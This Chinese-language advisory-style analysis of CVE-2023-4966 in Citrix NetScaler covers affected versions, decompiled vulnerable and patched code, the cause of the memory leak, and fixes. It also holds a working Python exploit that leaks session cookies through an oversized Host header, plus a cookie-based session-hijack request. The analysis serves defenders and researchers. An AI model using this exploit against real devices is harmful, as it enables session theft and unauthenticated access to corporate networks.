CVE-2023-4966 Citrix NetScaler ADC & Gateway信息泄露漏洞
字数 1730 2025-08-24 07:48:10

CVE-2023-4966 Citrix NetScaler ADC & Gateway信息泄露漏洞分析报告

一、漏洞概述

漏洞编号: CVE-2023-4966
影响产品: Citrix NetScaler ADC和NetScaler Gateway
厂商: 美国思杰(Citrix)公司
厂商官网: https://www.citrix.com/

受影响版本

  • NetScaler ADC和NetScaler Gateway 14.1 < 14.1-8.50
  • NetScaler ADC和NetScaler Gateway 13.1 < 13.1-49.15
  • NetScaler ADC和NetScaler Gateway 13.0 < 13.0-92.19
  • NetScaler ADC 13.1-FIPS < 13.1-37.164
  • NetScaler ADC 12.1-FIPS < 12.1-55.300
  • NetScaler ADC 12.1-NDcPP < 12.1-55.300

漏洞描述

当Citrix设备配置为网关(VPN虚拟服务器、ICA代理、CVPN、RDP代理)或AAA虚拟服务器时,攻击者可以通过访问/oauth/idp/.well-known/openid-configuration路由并向HOST字段发送大量数据,导致缓冲区信息泄露。泄露的信息可能包含session cookie,攻击者可利用这些信息实现未经认证的访问。

二、技术分析

漏洞位置

漏洞存在于/netscaler/nsppe二进制文件中,这是NetScaler数据包处理引擎,包含完整的TCP/IP网络堆栈和多个HTTP服务。

关键函数

  • ns_aaa_oauth_send_openid_config
  • ns_aaa_oauthrp_send_openid_config

漏洞代码分析

补丁前代码:

iVar3 = snprintf(print_temp_rule,0x20000, "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"token\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end_session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_supported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_supported\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr\", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoint\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}", uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

补丁后代码:

uVar7 = snprintf(print_temp_rule,0x20000, "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"token\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end_session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_supported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_supported\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr\", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoint\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}", uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
    authv2_json_resp = 1;
    iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
    ...
}

漏洞原理

  1. 代码使用snprintf()构造JSON响应,其中拼接了来自HTTP请求HOST字段的数据
  2. snprintf()虽然限制了输出缓冲区大小(0x20000),但返回值是格式化后字符串的预期长度
  3. ns_vpn_send_response()使用snprintf()的返回值作为读取内存大小,导致缓冲区溢出
  4. 攻击者通过发送超长HOST头,可以泄露缓冲区后的内存内容,可能包含敏感session cookie

三、漏洞利用

利用条件

Citrix设备必须配置为以下任一服务:

  • 网关(VPN虚拟服务器)
  • ICA代理
  • CVPN
  • RDP代理
  • AAA虚拟服务器

利用脚本

import requests
from urllib.parse import urljoin

url = "https://ip:port"
headers = {
    "Host" : "a" * 24578
}

try:
    r = requests.get(
        urljoin(url, "/oauth/idp/.well-known/openid-configuration"),
        headers=headers,
        verify=False,
        timeout=10
    )
    print(r.status_code)
    if len(r.content) > 0:
        with open("resp.txt", "wb") as f:
            f.write(r.content)
except Exception as e:
    print(e)

利用结果

响应中可能包含长度为65或32的session cookie,例如:
5e588bab9a60e4831bc1da8ade46d78b0c3a01c3a45525d5f4f58455e445a4a42

会话劫持示例

攻击者可以使用泄露的cookie进行未经认证的访问:

GET /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: NSC_AAAC=5e588bab9a60e4831bc1da8ade46d78b0c3a01c3a45525d5f4f58455e445a4a42
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

四、修复方案

官方修复

Citrix已发布修复版本,建议用户升级到以下或更高版本:

  • NetScaler ADC和NetScaler Gateway 14.1-8.50
  • NetScaler ADC和NetScaler Gateway 13.1-49.15
  • NetScaler ADC和NetScaler Gateway 13.0-92.19
  • NetScaler ADC 13.1-FIPS 13.1-37.164
  • NetScaler ADC 12.1-FIPS 12.1-55.300
  • NetScaler ADC 12.1-NDcPP 12.1-55.300

临时缓解措施

  1. 限制对/oauth/idp/.well-known/openid-configuration路径的访问
  2. 实施网络层防护,过滤异常长的HOST头请求
  3. 监控和审计相关日志,检测可疑活动

五、总结

CVE-2023-4966是一个严重的信息泄露漏洞,允许攻击者通过发送特制请求获取敏感会话信息,进而实现未经认证的系统访问。该漏洞影响广泛部署的企业级网络设备,建议受影响用户立即采取修复措施。

CVE-2023-4966 Citrix NetScaler ADC & Gateway信息泄露漏洞分析报告 一、漏洞概述 漏洞编号 : CVE-2023-4966 影响产品 : Citrix NetScaler ADC和NetScaler Gateway 厂商 : 美国思杰(Citrix)公司 厂商官网 : https://www.citrix.com/ 受影响版本 NetScaler ADC和NetScaler Gateway 14.1 < 14.1-8.50 NetScaler ADC和NetScaler Gateway 13.1 < 13.1-49.15 NetScaler ADC和NetScaler Gateway 13.0 < 13.0-92.19 NetScaler ADC 13.1-FIPS < 13.1-37.164 NetScaler ADC 12.1-FIPS < 12.1-55.300 NetScaler ADC 12.1-NDcPP < 12.1-55.300 漏洞描述 当Citrix设备配置为网关(VPN虚拟服务器、ICA代理、CVPN、RDP代理)或AAA虚拟服务器时,攻击者可以通过访问 /oauth/idp/.well-known/openid-configuration 路由并向HOST字段发送大量数据,导致缓冲区信息泄露。泄露的信息可能包含session cookie,攻击者可利用这些信息实现未经认证的访问。 二、技术分析 漏洞位置 漏洞存在于 /netscaler/nsppe 二进制文件中,这是NetScaler数据包处理引擎,包含完整的TCP/IP网络堆栈和多个HTTP服务。 关键函数 ns_aaa_oauth_send_openid_config ns_aaa_oauthrp_send_openid_config 漏洞代码分析 补丁前代码 : 补丁后代码 : 漏洞原理 代码使用 snprintf() 构造JSON响应,其中拼接了来自HTTP请求HOST字段的数据 snprintf() 虽然限制了输出缓冲区大小(0x20000),但返回值是格式化后字符串的预期长度 ns_vpn_send_response() 使用 snprintf() 的返回值作为读取内存大小,导致缓冲区溢出 攻击者通过发送超长HOST头,可以泄露缓冲区后的内存内容,可能包含敏感session cookie 三、漏洞利用 利用条件 Citrix设备必须配置为以下任一服务: 网关(VPN虚拟服务器) ICA代理 CVPN RDP代理 AAA虚拟服务器 利用脚本 利用结果 响应中可能包含长度为65或32的session cookie,例如: 5e588bab9a60e4831bc1da8ade46d78b0c3a01c3a45525d5f4f58455e445a4a42 会话劫持示例 攻击者可以使用泄露的cookie进行未经认证的访问: 四、修复方案 官方修复 Citrix已发布修复版本,建议用户升级到以下或更高版本: NetScaler ADC和NetScaler Gateway 14.1-8.50 NetScaler ADC和NetScaler Gateway 13.1-49.15 NetScaler ADC和NetScaler Gateway 13.0-92.19 NetScaler ADC 13.1-FIPS 13.1-37.164 NetScaler ADC 12.1-FIPS 12.1-55.300 NetScaler ADC 12.1-NDcPP 12.1-55.300 临时缓解措施 限制对 /oauth/idp/.well-known/openid-configuration 路径的访问 实施网络层防护,过滤异常长的HOST头请求 监控和审计相关日志,检测可疑活动 五、总结 CVE-2023-4966是一个严重的信息泄露漏洞,允许攻击者通过发送特制请求获取敏感会话信息,进而实现未经认证的系统访问。该漏洞影响广泛部署的企业级网络设备,建议受影响用户立即采取修复措施。